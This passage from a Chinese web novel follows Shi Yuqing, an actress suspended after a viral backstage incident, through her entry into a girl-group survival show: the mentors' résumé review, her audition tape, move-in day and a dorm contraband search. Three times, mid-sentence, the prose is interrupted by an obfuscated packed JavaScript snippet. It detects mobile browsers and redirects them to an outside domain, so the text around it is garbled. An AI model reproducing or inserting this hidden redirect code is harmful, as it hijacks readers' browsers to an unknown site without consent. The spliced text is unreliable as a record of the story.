《恶女专业户在选秀爆火出道》 1. 初入 “虞清,我们现在也实在是没有办法了。” 手机屏幕亮起的光倒映在车窗上,又被接连落下的雨滴冲刷得模糊不清。 只有界面末端的微信信息勉强维持着全貌,一字不差得落入时虞清眼中。 接二连三的提示音和车外的鸣笛声此起彼伏,时虞清一低头,发现手机屏幕上又多了一长串的消息。 “我知道你想要好好做一个话剧演员,但现实真的不是你想得那个样子的。” “继续这样等待下去,你以后所有的工作都会没有的。” 雨势猛地加大,水滴顺着车窗蜿蜒而下,将那些信息搅得模糊不清,时虞清沉默着摁灭了手机屏幕。 难以言喻的烦闷像是湿透的棉花般梗塞在喉口,她慢慢将头抵在冰凉的车窗上,却只能感受到窗外的湿意缓缓沁入身体之中,为这股烦闷添砖加瓦。 黑色的保姆车无声汇入车流之中,红色的尾灯渐次亮起,将车身缓缓淹没。 沿途的路灯光芒微弱,在黎明到来之前,竟然吝啬得连下个路口的方向也无法照亮。 ———— 如果真的要说实话的话,时虞清其实是感谢王姐的。 毕竟这是她被迫中止工作半年多之后,所能得到的唯一机会。 或许艺术真的来源于生活,就像话剧中人物的命运分岔口总要用狂风骤雨来衬托一样,她被迫中止工作的那一天,雨也下了个没完。 “砰——!” 播放着视频的手机被狠狠甩在桌面上,强烈的撞击迫使着那段视频暂停在满屏的白色晕影中。 视频的嘈杂声响戛然而止,这件办公室恍若沸水失去了火源一般,又重新陷入死水般的沉寂之中。 时虞清低垂着头站在桌子面前,她没有说话,可那片白影恰好就停在她面前,屏幕冷光亮成一片,将她的面庞映得苍白。 桌子背后,剧院领导的声音难掩怒火,“你看看,你看看!怎么就把事情办成这样!” 时虞清没有作声,只是沉默着将视线投向另一边。 她刚从舞台上下来没多久,身上的妆造还没有完全卸去,甚至就连脖颈间的薄汗都没有完全消退,好像刚才推搡和拥挤的热度依旧存在,如影随形地纠缠着她。 “有什么事情不能好好说?!现在好了,直接被观众拍下来了!”领导的声音听上去恨铁不成钢,“你这样,让剧院怎么做,让我怎么做,啊?!” 她气急了,手连在桌上拍了几下,恍若响雷,声声惊心。 “你也不好好想想,参霄正播着呢,你本来就在风口上,现在可好,闹了这一出!你不撞观众枪口谁撞?他们想不上升角色都难!” 说到这个,领导的心里更堵了,她百思不得其解地盯着眼前只是沉默的女生,心里更是来气,诘问道:“小徐就那么娇贵?!她可也是老演员了,比你不差!” “观众SD是提前就安排好了的,就算时间长了点儿,下次砍掉就是了!你难道不知道现在的SD就相当于明星的签售?多重要你难道不明白吗?! 哦,小徐身体不舒服,你就要替她强出头?!” 窗外雨声愈发响,一整晚演出的汗水为其添砖加瓦,却也浇不熄观众的满腔怒火。 林院的厉声责问还在耳边,时虞清的思绪却不自觉飘远。 她从刺目的镜头闪光想到了拍摄者的怨怼口吻,又从虚弱到难以起身的搭档想到了一眼望不到尽头的观众队伍。 或许人在这种时候就是会想得多,掌心处的钝痛夹杂着潮水般的回忆迟迟袭来,桌子的残影在时虞清眼前止不住地晃荡, 恍惚间,满屏恶语、黑白遗照的手机界面好像和桌上的手机在某一瞬间重叠,惨白的光覆盖成厚重的雪,压得时虞清几乎有想吐的冲动。 但这种感觉仅仅只是须臾一瞬,落在林院长眼里,时虞清的脸色平静依旧,不管她怎么骂怎么埋怨都没有用。 就连脑袋上那撮常年翘起的毛都没有半分变化,直挺挺地翘在那里! 林院长心中忽地升起莫名的邪火,她猛地拿过桌边的水杯,大口地吞咽了几口早已放得冰凉的茶水,勉强定了定神。 她就说有这种毛的人性格都一样犟!不愧是苏涟姝的学生,简直和她一个德行! 刚才的气愤、怒火顺着滑进喉道的茶水渐渐平息,掺着回忆化作欲说还休的无可奈何与心疼,她说:“你是我亲手签进来的演员,虞清。” 林院长抬起头与时虞清对视,镜片后的双目又恢复成往日的明锐模样,“你是科班出身,娱乐圈那一套不用我多说,你自己也明白。” “观众的情绪是最好挑动的,你才刚演了反派,后脚就被人拍了黑料,”她注意到时虞清像是想说什么,却只是抬手阻断,示意她先听自己说完,“我知道你是好心,可现在环境就是这样。什么小事一拍到网上,就变成了天大的事情。” “SD时长的事情我会去问责,但你千不该万不该让观众拍到,闹到现在这种局面,我也没办法替你收场。” 林院长说完这句话后就像是累极了,重重往椅子上一靠,无奈而疲惫地朝时虞清下了最后通牒:“你最近的所有工作全部暂停,运营组那边会发通知。你最近……” 她在时虞清沉默的视线中闭上眼,“你最近,就不要来剧场了。” ———— “欢迎各位老师来到《万象如我》的录制现场!” 刚搭好没两天的舞台依旧弥漫着一股淡淡的油漆味,漆黑的钢筋铁架纵横交错,大大小小的箱子堆了满地,路过的场记们不得不踮起脚绕着走,生怕有半分磕碰。 雪白的射灯迸发出刺眼的光芒,将整个大厅照得恍若白昼。 演播厅。 原木色的方桌旁围坐着几个打扮精致,神态各异的男女,无数身穿黑色背甲的场记来回穿梭忙碌,才好不容易在他们落座后几分钟就举起了手中的场记板,示意录制已经开始。 在座的不是正当红爱豆就是在圈内浸蕴多年的实力派,谁也不敢怠慢,导演端坐在一片密密麻麻的摄像机后面,继续没有说完的台词—— “感谢各位老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234590|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师百忙之中拨冗到场,这是节目组初筛出的一百位选手的简历,请各位老师过目下,熟悉熟悉。” 说是熟悉选手,可在场之人无不心知,这是将节目组认为有热度、有争议度的选手先抛出来,为节目造势。 没办法,节目是一期一期播放的,如果在前期没有推出合适的人为节目吸引热度,那节目大概率会后期发力不足,最终连成团名单也无任在意。 坐在首位的是近几年现象级爆红的大势爱豆殷辞玉,出身大势韩流女团。 作为中国人,她不仅能在竞争激烈的韩国杀出重围顺利出道,其所在的女团更是在发布出道曲后势不可挡,一步迈入一线女团行列,被誉为第七代女团中最强势的黑马。 她刚刚结束全球巡演,不管是热度还是讨论度都一骑绝尘,由她担任节目的发起人,在座无不心服口服。 但殷辞玉却像是对自己的热度没有丝毫认知,只穿了一身简单而宽松的灰色上衣和卫裤,浅色的长发用铅笔松松盘了起来,尽显休闲随意。 不像那个在舞台上叱咤风云的偶像,倒更像是哪个大学走出的学生。 而除了在落座前向其他人问好,殷辞玉还第一时间接上了导演的话,笑着cue起了台本,“好,那就让我们先认识下‘万象如我’的一百位选手。” 几人面前的大屏幕倏然亮起,一份样式简洁的简历很快显现出,女孩巧笑倩兮的面容右上角的照片上显得分外醒目。 殷辞玉捏着翻页器,却没有立马开口,而是侧过头,耐心地等着其他几位老师先开口。 果然,坐在殷辞玉右手边的女人像是发现了什么,她眼睛一亮,指着简历上的某行向众人分享道:“哈哈,是我学妹呢!央音的。” 央音之名如雷贯耳,数不清的天王天后从这里开始了成名之路,而著有“铁肺”之称的费谣更是其中翘楚。 不仅音域极广,创作水平也是一流,她出道数年,代表作更是数不胜数,属于“只要是人就能哼上两句”的程度。 而和她同校出身,不论节目表现如何,起码vocal实力绝对不会差。 “舒照闻……那应该唱歌很厉害了。” 坐在她左侧少女笑吟吟地接过她的话茬,她指间夹着的中性笔几乎已经甩出了残影,高挑的马尾顺势飞扬,满腔的生命力简直扑面而来,让人无法忽视。 她是此次节目的舞蹈导师赵蕴予,身为内娱准一线女团的舞担,早在出道之前就是声名在外的编舞师。只是年纪小的时候沉迷于地下舞蹈比赛,才一直迟迟没有出道 即使现在已经出道多年,论舞蹈实力国内能与她相提并论的人也少之又少,节目组能把她请来,是下了一番功夫的。 “小赵火眼金睛啊。” 费谣流畅接话,特地转过头对着摄像机打趣道,“希望小舒选手能好好发挥,不要辜负赵老师对你的期待呀。” 看见两个负责不同部分的老师都有发言,殷辞玉主动cue起旁边一直没有说话的两位老师,“kiana老师怎么看呢?还有希林老师?” 2. 风评 被cue到的女生似乎有些意外,像是没有想到这个时候也需要发言,只是言简意赅道:“挺好。” 她打扮潮流,深色印花头巾配上满身的各色金属首饰,尽显前卫。非常符合大众对于rapper的刻板印象。 但她说话却没有rapper惯有的强调和火药味,反而因为发音不熟练,显得声音冰冷而平淡。 倒是一旁打扮潮流的男生笑嘻嘻地开口,“费谣姐这么看好她,那她唱hook肯定行。” 这个叫舒照闻的选手是节目组内部投出的大热门,才这样放在第一个让导师们评价了一圈。见几位导师都或多或少地发表了自己的看法,殷辞玉自觉已经达成了节目组的目的,继续推进节目的流程。 就算只看了一份练习生的简历,在座的几位导师毕竟也都混圈数年,彼此心中都对接下来将要面对的练习生有了底。 几份花色各异、尽显千秋的简历轮番闪过,这下不用殷辞玉主动cue节目流程,几位导师都会自觉接话,各自发表点评, “175?!现在的小姑娘长这么高,可以可以,高的人唱高音有优势。” “咋这多参加过舞赛的,万象要决战舞者之巅了?很好很好。” “我要闹了,怎么一个两个都是vocal,是我们大rap不配吗?!” “哇塞NUG,这不辞姐公司吗,我看咱们节目也是好起来了哈。” “wow!昌州地下八英里亚军?好的我单方面宣布这就是A了!” “身高170体重95……这条件可太棒了,模特界得不到的人才来咱们节目了。” ………… 满屋工作人员对着连珠的妙语和热梗忍俊不禁,场记看着手中记满要点的笔记本啼笑皆非,心说这下可以不用担心没有素材了。 这就充分展现了节目组选导师的毒辣眼光,殷辞玉性情稳重,更兼业务能力超群,不用导演组通过耳麦提醒就会自觉cue节目流程。 费谣成名多年,性情泼辣爽快,有什么说什么。看简历的时候丝毫不吝啬自己的夸奖,短短几分钟下来,就有了“行走的夸夸机”称号 国内出道的赵蕴予更是出名的交际花,几个长于舞蹈的练习生都被她一眼认了出来,不是在地下比赛见过就是之前当编舞师时结识的好友。 她人也机灵,殷辞玉轻轻一抛话头,她就知道这是节目组看好的练习生,笑嘻嘻地在镜头前爆料好友们有趣的糗事,为其博得更多关注。 而两个rapper的性格却大相径庭,Kiana刚从海外归来,快嘴打遍西海岸无敌手,希林则刚在嘻哈比赛卫冕前三,几首成名曲脍炙人口。 但却一个坦率诚恳仿若天然呆,可能因为中文尚不熟练,对于练习生们写在简历中的玩笑话有天生钝感。冷不丁问出的问题常有一种诡异的诙谐,不时惹得费谣捶桌狂笑; 一个却行走在5G网络的最尖端,堪称时代的弄潮儿。抛一个梗接一个。有梗到熟悉网络热梗的工作人员们也不禁咋舌失笑。 几人性格互补,优势各异,几乎把枯燥的过简历环节硬生生变成了多人脱口秀。 大屏上的简历轮番闪过,最终停在一份样式简洁的简历上。右上角女孩乌发满肩,笑起来时自成另一派的沉静柔和。 相对于前面几份内容详实的简历,她的简历只有寥寥数语,干净到令人奇怪。 可在场没有一位导师借着这个打趣,就连在之前隐隐操控评价风向的殷辞玉也显出微微的诧异,不知道节目组用心何在。 在场所有人,只有唱而优则演,偶尔出入剧组饰演配角的费谣对这张脸最熟悉,也对这份简历最为惊诧, “小虞?!我天,我没看错吧。” 她心直口快,冲着屏幕的导演组哭笑不得道,“你们怎么把她给拐来了?” 希林则一脸谨慎,自以为隐秘地朝坐在对面的赵蕴予小声问道:“咱们这是‘万象如我’,不是‘演员的诞生’吧??” 时虞清参演的《参霄》大爆特爆,作为坏得令人咬牙切齿的反派,可以说上到八十老太下到十岁小儿,即使不知道她的名字也能记住她这张脸。 就算是被不是影视圈的希林认出来,也丝毫不意外。 只有常年在海外发展的Kiana显然还在状况之外,不知大家为何都不说话。 还是导演组出来打破了停滞的气氛,用画外音出来打圆场,“应本节目特邀,时虞清练习生作为新生代演员,其发展理念与节目不谋而合。偶像是梦想的化身,只要同样在舞台上闪耀,她们就会有千万种模样。” 费谣和时虞清在同一个剧组待过,她知道时虞清的为人。她心中攒着疑惑,却不好直接开口。 直到导演直截了当地称呼时虞清为“练习生”,又联想到最近网络上的风波,费谣何等人精,脑中微微一转便打通了关窍,当即决定为这位她有好感的小朋友造势,朝着镜头乐呵呵道, “说明万象节目组还是太超前了啊。我可是知道小虞演过音乐剧的呢。” 见费谣一马当先地接下节目组抛出的橄榄枝,赵蕴予当然也不能让她一个人孤军奋战,而是应着耳麦中的提示附和道,“可据我所知,‘万象’是女团选秀,只会唱不会跳可不是一条腿走路嘛。” 她俩这一唱一和,几乎已经将悬念明晃晃地拉到了台面之上,殷辞玉见气氛足够,才松开一直悬停在翻页器上的手指,对着众人做了一个“请”的手势: “那么,就让我们看看时虞清练习生真正的唱跳实力吧。” 大屏倏然一闪,切进了一段视频。 镜头闪烁几下,将戴着鸭舌帽的长发少女完整地摄入画面之中,显然是海选时期的录像。 可能是因为要唱跳,时虞清脸上的妆容并不浓,和剧中的妆造比起简直素净得过分。她只穿了基础款的系带T恤配浅色马甲,下身是笔直挺阔的铅笔裤,既能更好地展示舞蹈动作,又显得干脆利落。 果然,bgm一响,时虞清就跟随着音乐的节拍开始动作,在座的两位现役女爱豆只用听一耳朵,就能把舞蹈动作和音乐对上号。 时虞清选择的并不是什么高难度的曲子,而是偏中等难度的kpop曲,再加上一点点爵士。对刚入门的人来说可能略微有些难度,可在她们眼里实在只能算是基础。 不过饶是如此,依旧能通过画面中女生对于音乐节拍的精准踩点和干脆利落的发力动作判断出其水平,殷辞玉在出道之前狠狠抠过舞蹈,她看得出来时虞清的基本功算得上扎实。 她刚在心中暗自点头,就听见赵蕴予压低了声音评价道:“几个衔接都蛮流畅,是好好练了的。” 这首歌算得上出名,她没出道之前也跳过,虽然动作不算太复杂,但有好几段的拍子都咬得很紧,时虞清能连贯且流畅地做下来且手脚都在该在的地方上,就说明起码是下了功夫的。 kiana虽然是rapper,但是在西海岸的时候也见过其他人三五成群地跳街舞,她能看得出来时虞清动作干净流畅,尤其是身材比例好,看得赏心悦目。 女生茶黑色的头发垂落在脸颊两侧,颊边的碎发顺着她的轻喘微微拂动, 或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234591|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为在剧场带惯了耳麦,时虞清在Ending Part的时候下意识将脸侧了过去,于是那一小撮碎发尽数拂过了她的侧脸,和那双清凌凌的双眼混在一起,竟莫名有种摄人的疏朗之感。 就好像四肢只是她可以随意号令的道具,就算是随意抬举也可以维持着最合适最完美的角度,原本紧凑的节拍也被无限放慢,只等她发力——然后逐一落点。 果然,这一段舞蹈结束,负责面试的工作人员就点头,示意她可以进行下一段的展示了。 这样一段不算简单的舞跳完,时虞清竟然只是很轻微的喘气,看上去丝毫不费力。 气息平稳下来之后,时虞清卡着拍子进调,唱了一段流行曲。 费谣听得微讶,她于舞蹈只是略知皮毛,但唱歌可是数十年的老本行,时虞清一开口,她就能听出时虞清的选曲很聪明,这首没有高音,算是避开了自己的短处。但转音不少,长句也并不少。 可时虞清音色干净,几个转音都顺滑地唱了过去,就连那几个长句的表现也丝毫不逊色,耳力好如费谣,竟然丝毫听不出她换气的声音。 费谣知道时虞清演过音乐剧只是道听途说,她对时虞清有好感是因为难得见到她这样年轻却踏实谦虚的孩子,明明已经在大制作中拿到了戏份不低的角色,却还是愿意在剧组忙得抽不开身的时候充当灯光替身,在烈日下一遍遍跟着导演的指令调整走位。 彼时站在一边的费谣披着厚重的戏装热得直冒汗,恨不得冲上去推开她直接一遍过,可即使小姑娘汗如雨下,还是兢兢业业地为她找到了最好的走位。 临走的时候还特地绕了一圈过来提醒她,有几个地方的打光太死亡,得忍一忍别频繁眨眼,不然得吃NG。 这样好的女孩子……想起网上各种辛辣讽刺,就算是身经百战的费谣也不禁皱起眉头。 但良好的专业素养使她没有在镜头面前表现出来,只是对着镜头再一次展露笑颜,对着摄像机一字一句郑重道:“我很期待小虞的表现。” 赵蕴予对时虞清印象不差,当下就积极举手:“智齿!” 尽管两位rapper在唱跳方面算门外汉,但看出好坏并不算难,这下也同样对时虞清产生好感,附和着点了点头。 于是满室的目光就这样落在了唯一一个没有说话的殷辞玉身上,她双手交叉支撑着下巴,目光向前一路掠过,不知道是落在大屏上少女静立的定格画面上,还是落在了更远的地方。 顶幕的灯光如星雨般倾泻而下,连她的头发丝都闪闪发亮。殷辞玉轻声开口, “我也很期待,时虞清练习生的表现。” ———— 大雨倾盆。 时虞清费力地拎着行李箱从保姆车下来,一眼望去,如瀑的雨丝下是无数像她这样拎着行李箱的女孩。 她们或独行,或三两成行,即使是在这样黯淡的雨天中,她们明媚的面容也依旧熠熠生辉。 有值得期待的事情,才会连下雨天都不怕吧。 时虞清将心底那些说不清道不明的情绪全部驱散,才深吸一口气,推动着行李箱向前走。 饶是有湿润地面的加持,她也还是使劲拽了一下拉杆,偌大的行李箱才慢悠悠滑动起来。 风夹杂着雨丝将时虞清束在脑后的长风吹得四散,天边色彩昏暗,连丝毫阳光的踪迹都看不出,只剩下几大团阴冷潮湿的积雨云随风飘荡,等待着身体中的水分耗尽。 接连不断的雨点砸落在大地上,将行李箱轮胎滚动的声音几乎遮全。 这雨应该还要再下很久呢,她想。 3. 宿舍大检查 节目组的准备相当完善,时虞清拎着箱子,不用怎么废劲就跟着一路的指示牌来到了宿舍楼下。 能杀出海选重围的选手都不是什么不谙世事的小女孩,看着雨天湿滑的台阶也懂得趋利避害,极有默契地顺着台阶旁边的斜坡排出长队。 不知道是不是看到时虞清一手撑伞一手拎箱子的样子太过于吃力,站在宿舍门口的工作人员不顾门口台阶的湿滑,三步并两步走到了时虞清面前,想要接过她手中的箱子。 时虞清一愣,待面前挂着工牌,身形却比自己还娇小几分的女孩子气喘吁吁地表明来意后,她没有半分犹豫,当机立断表示拒绝。 临走前王姐特地检查了自己的箱子,往里面塞了一堆有的没的,连常年保持锻炼的时虞清拎起来都觉得稍显吃力,更何况是眼前这个工作了一天,已经稍稍显出疲态的女孩子。 时虞清松开握住拉杆的手,帮女孩正了正被风吹歪的伞,再次温声拒绝了她。 女孩有些遗憾,但却没有坚持,只是拿出了签到表示意时虞清签字。 签到表不是仅仅只要签上名字,而是有一长串的信息要填。或许是怕时虞清写得无聊,女孩笑着聊起话题, “难得下这么大的雨呢。不过你们选手好像带的东西都不算太多喔?” 她负责今天的签到,可今天看到的几乎所有练习生都只是拎了一个箱子,最多再加上了一个包,剩下的就没有了。 按理来说,赛程将近半年,即便只算上换季衣物也足够塞满一个大箱子,但怎么可能只带衣物呢? 时虞清没想到她会这样问,原本流畅书写的笔不经意地一顿,才接着写下去, “不是所有人都会在这里度过冬天的,”时虞清把笔和纸递还给女孩,“带那么多东西,也用不上。” 女孩工作一天下来,见过的选手没有一百也有六十,外向内向的都有,却独独没有像时虞清这样自然平和到竟然能将彼此都心照不宣的残酷规则这样大咧咧地说出来的。 她心中有些惊讶,忙不迭地接过了纸笔,开始例行地提醒:“宿舍的分配信息一早就发你们手机里了,有别的事可以随时联系我们。” 说着,她翻过工牌,让时虞清扫面另一面的二维码,“尽快检查下有没有忘带的,不然这可就是你们最后联系外界的机会咯。” 听到这话,时虞清心下一揪,这是要收手机的意思吗? 那剧院那边的消息……她心下踌躇,连脚步都迟疑起来。 时虞清刚想问那女孩关于赛程的安排,就见她已经收好纸笔,朝着另一边的女生走去了。 “哎——” 时虞清想要叫住她,声音却压在喉咙中没有发出。 算了,总不过一个月的行程她就得回去了,就算真的有消息也应该不会错过太久。 正如她自己刚才所说,不是所有人都会在这里度过冬天,她还有自己的春天需要奔赴。 雨天路滑,大家都走得尽量小心,因此拐角处的队伍挪动得稍显缓慢。 时虞清一边看手机一边跟着队伍向前走动,或许是因为刚才的小插曲,让她玩手机也不专心,余光一直注意着身后。 女孩橙色的工牌的风雨中上下翻飞,她接过另一份签到表,又朝着下一位选手走去。 可原本意料之中的人影却没有出现在自己身后,时虞清稍感疑惑,忍不住转头看去—— 刚刚赶到的那位选手在填完签到表之后并没有选择站在时虞清身后排队,而是站定在数级台阶之下,径直收起了伞。 那还是把自动伞——时虞清看得分明,只见那女孩把伞的长杆往腹间猛地一捅收在手中,另一只手干脆地将那个29寸的大箱子一把拽起,步履矫健地迈上了阶梯。 满是积水的湿滑台阶好像对她来说没有半分影响,她分明脚踩着一双厚重的马丁靴,落下来的脚步却轻松明快,好像这不是稍有不慎就会滑倒的台阶,而是坚实干燥如磐石的瓷砖路。 几乎有时虞清大半人高的29寸大箱子在她手上轻得恍若无物,时虞清心中稍稍吃惊,紧接着就是一股敬佩之意油然而生。 好强的臂力…… 时虞清还没从这位“女侠”的洒脱之举中回神,就见她已经到了大厅之中,施施然拖着箱子进了电梯,就这样消失在众人的视线之中。 但或许是时虞清运气好,没有错过女孩掩藏在披肩长发下的几撮挑染脏辫。 她顿时了然,这个发型、这个性格…… 如果不是rapper,那她就咒自己一辈子不能加入心仪的卡司!(注1) 不知道是不是老天爷也怜惜时虞清摇摇欲坠的话剧事业运,当时虞清推开403大门的时候,第一眼看见的就是似曾相识的毛茸茸脑袋。 地上三个大行李箱一字铺开,其他三个女生看上去应该也是才刚到没多久,正忙着收拾东西。 而她们刻意留出来的那一块空地,刚好够再塞进去一个大尺寸的行李箱。 时虞清心下稍动,但没打算拿宝贵的整理时间用来打招呼,而是抓紧时间开始收拾东西。 在来节目之前,王姐就特地叮嘱过时虞清,她的老朋友让她转告自己,节目组在第一天入住时会安排搜查,最好不该带的一件别带。 但是这个“不该带”的东西界定模糊,就连王姐这样浸蕴娱乐圈多年的老江湖都有些摸不着头脑。 她一直主管的是艺人经纪这方面,手上带的艺人不是根正苗红由公司一路培养,就是实力出众被公司发掘,总之,对选秀经济的运行只了解皮毛,具体该怎么做,其中的细节,她也是一头雾水。 但通行的潜规则王姐却是门清,她检查了时虞清的行李之后,特地把平板等电子设备拿了出来,说是节目组不允许带电子产品。 时虞清不算新人,对这一套规则也不陌生。像万我这种规格的项目,一向是资方与平台的掌中宝,连选手住的公寓都是提前筹备的五层小楼,更何况是重中之重的宣发。 在公关为这档节目全平台造势之前,各路人马都不能提前走漏风声,通过海选的选手也被告知不能在网络上提前透露信息,怕的就是消息走漏,后续宣发没办法跟上,导致节目的知名度大打折扣。 所以时虞清箱子里面除了几套不同季节的私服,必备的化妆品和护肤品,就只剩下了一些零零碎碎的东西。 比如喜欢的话剧纪念品摆件,话剧票根的纪念册等等,这是时虞清的命根子,出远门不随身携带就不踏实。 她东西少,这里收收那里捡捡,明明是最后一个到宿舍的,合上箱子的时间竟然和其他三人差不多。 “我叫谭清清,你们好呀。” 床铺在靠窗位置的女生站起身和其他人打招呼,看上去像是鼓足了勇气,一张小巧瓜子脸看上去虽说稍显生怯,笑起来却显得格外干净,“我还带了点特产,给大家尝尝。” 说着,她就拿起一直放在手边上的小包糕点挨个递出,发完最边上的时虞清之后,脸已然变得通红,像是极少和人打交道的样子。 时虞清没想到还有这样的环节,她站在原地愣了两秒,才赶忙双手接过。 行李都收拾得差不多了,她现下没事干,索性就直接撕开包装应言品尝。 塑料纸被撕开的轻微窸窣声响在安静的室内显得格外清楚,时虞清没觉得在节目开始之前吃碳水类的糕点有什么不对,而是细嚼慢咽地品尝起来, 她原本咬下的是小小一口,但嚼了两下后猛地瞪大双眼,又狠狠咬下一大口,边嚼动边口齿不清地朝谭清清竖起大拇指, “好吃哎!” 看见陌生室友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234592|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此捧场,谭清清开心得两眼弯弯,她笑得腼腆,却极其清丽,像是青砖黛瓦旁摇曳着的一朵浅色小花, “真的!?” 她以完全不符合人设的速度往回走了两步,又往时虞清手上塞了一小包,“那就多吃点~” 时虞清真的不是在刻意捧场,她是真的觉得好吃。 她从小在北方长大,吃得都是口感蓬松喧软的面点,从来没有吃过这种透着淡淡米香,松软但嚼起来却很扎实的糕点。 虽然那股米香很轻浅,比不上北方豆沙的浓烈甜蜜,却自有一番风味,恍若梅雨时节拂过江南小镇的湿润清风。 时虞清很喜欢,她一向喜欢这种小零食,可任由她怎么翻来覆去地研究包装袋,都只发现了一个生产日期——就是今天。 至于品名、生产商,一字没有。 时虞清稍感郁闷,却还是站起身向谭清清认真道谢,然后再自我介绍:“我叫时虞清,以后就请大家多多指教了。” 听到“时虞清”三个字的时候,其他两个女生投过来的眼神明显带上了些惊讶。 显然,她们不一定认得出时虞清的脸,却一定知道这个名字背后发生的事情。 可好在她们没有多说什么,甚至连半分令时虞清尴尬的举动都没有,就好像时虞清这三个字后面跟着的不是滔天骂声,而是一片宁静祥和。 “蒋韫庭,vocal。” 栗色长卷发的女生率先收回视线,她看上去对时虞清的过往毫不在意,只是出于礼貌才自我介绍。 “komi,李相七,叫什么都行。唱rap的。” komi显然不想多管闲事,简单的自我介绍之后就没有再说话,只有谭清清望向时虞清的眼神多了几分好奇和疑问,可时虞清看上去明显不想多说什么,她也不好张嘴就问。 于是宿舍就这样迅速陷入沉默之中,三个人看似各忙各的,实则心不在焉,只有李相七一直摆弄着手机,打字的速度堪比闪电。 “咳。” 时虞清循声望去,才发现是蒋韫庭下了床,见其他三人都看了过来,蒋韫庭直截了当道:“大家都是一起参加比赛的,不好面子上闹得太难看,我先提前说好,不可以不经过我的允许碰我的东西,不许坐我的床,如果通宵练习的话回来的时候要小点声——你们有没有什么需要我注意的?我记一下。” 饶是读大学的时候,时虞清也没碰到过如此直接的人,她有些意外,现在的女爱豆都流行心直口快款吗? 时虞清原本觉得赛程至多一月,就算宿舍有什么龌龊忍忍也就过去了,可现在有人打开天窗说亮话,她也没必要屈就自己,“别随便动东西就好,别的都没关系。” 蒋韫庭点了点头,显然是记在了心里。 李相七原本在给琴盒里放干燥剂,闻言也探头过来,“依旧同上。我加一条:别在宿舍吃夜宵。” 时虞清今天意外的次数已经超过了今年之前的所有次数了,在她的印象里,女爱豆的身材管理都非常严格,不说夜宵,连正餐吃得也是少之又少,这还需要单独拎出来强调吗? 可毕竟隔行如隔山,时虞清就算真的好奇也不好意思问,只能点点头示意自己知道了。 于是三个人的视线都投向了谭清清,等着她做最后的补充。 而她显然没有做好同时被三个人盯着的准备,耳朵一瞬间就烧了起来,慌得连连摆手:“没、我没有,大家有什么说什么就行,都好商量嘛。” 她话音刚落,还没等其余三人做出反应,宿舍的门就一下子被推开,四人循声望去,才发现原来是刚刚站在楼下迎接她们的女孩子。她带着一大帮拿着大大小小袋子的工作人员站在门口,向她们颔首示意, “各位好,我们是节目组的工作人员,来统一回收大家的违禁品。” 4. 宿舍搜查 像是悬挂了很久的石头终于落地,时虞清早有心里准备,立马往旁边一让,“请。” 而其他三个的表情就稍显意外了,komi爬架子的身形明显晃了两晃,才好不容易踩稳了和时虞清站成一排。 工作人员鱼贯而入,不多时就把不算大的宿舍全部占满。 事实证明王姐果然有先见之明,把时虞清的电子产品全部都搜刮了一遍才放行,毕竟她们四个没有谁会想到,这个节目竟然连金属探测仪都用上了。 komi抱臂站在时虞清身边,她本身也没带多少东西,就算看着工作人员拿着金属探测仪也没有露出惊讶的表情;反倒是谭清清看着被搜刮出来的一台笔电一台平板,露出了心如死灰的表情。 或许是因为被王姐提前透露过这件事情,时虞清颇有一种乐得看戏的感觉,而看到谭清清的苦瓜脸,她更是想笑又知道不能笑,只好辛苦忍者,连小腹都隐隐作痛。 蒋韫庭站得离她最近,见时虞清嘴角抽动,显然憋笑憋得辛苦,倒露出了一幅纳闷神情。 时虞清一走进来,还没有自我介绍,她就已经根据这张脸认出了来人的身份。 大爆剧的女配,科班出身,经纪人之前和自己聊到她的时候,还很笃定地说过,照时虞清这样发展下去,女一指日可待。 但当时蒋韫庭铁了心要走上偶像这条路,对这些消息不是很上心,只是练习结束之后,听到身边追剧的其他练习生提起这个名字,才逐渐耳熟起来。 但是她还没有等到时虞清下一部戏的消息,就先等到了她的黑料。 同宿舍的练习生兴致勃勃吃瓜,蒋韫庭被迫听了一耳朵,可知道时虞清和其它两个室友打完招呼,她才后知后觉想起了有这样一桩事。 比起捕风捉影的黑料,最先在她心中刻下烙印的,竟然是时虞清本人的样子。 不同于电视剧中堪称浮夸的妆造,时虞清的私服虽然简单到基本上都是基础款,但身上的配饰都颇具巧思,所以蒋韫庭第一眼看见的并不是她的脸,而是长发掩映下,摇动的流苏耳坠。 金属的冷光在大吊顶的灯下折射出并不明显的弧光,时虞清眉目低垂,微卷黑发顺着她单薄的脊背迤逦而下,瓷白的侧脸半遮半掩,透出眼底泠泠的清光。 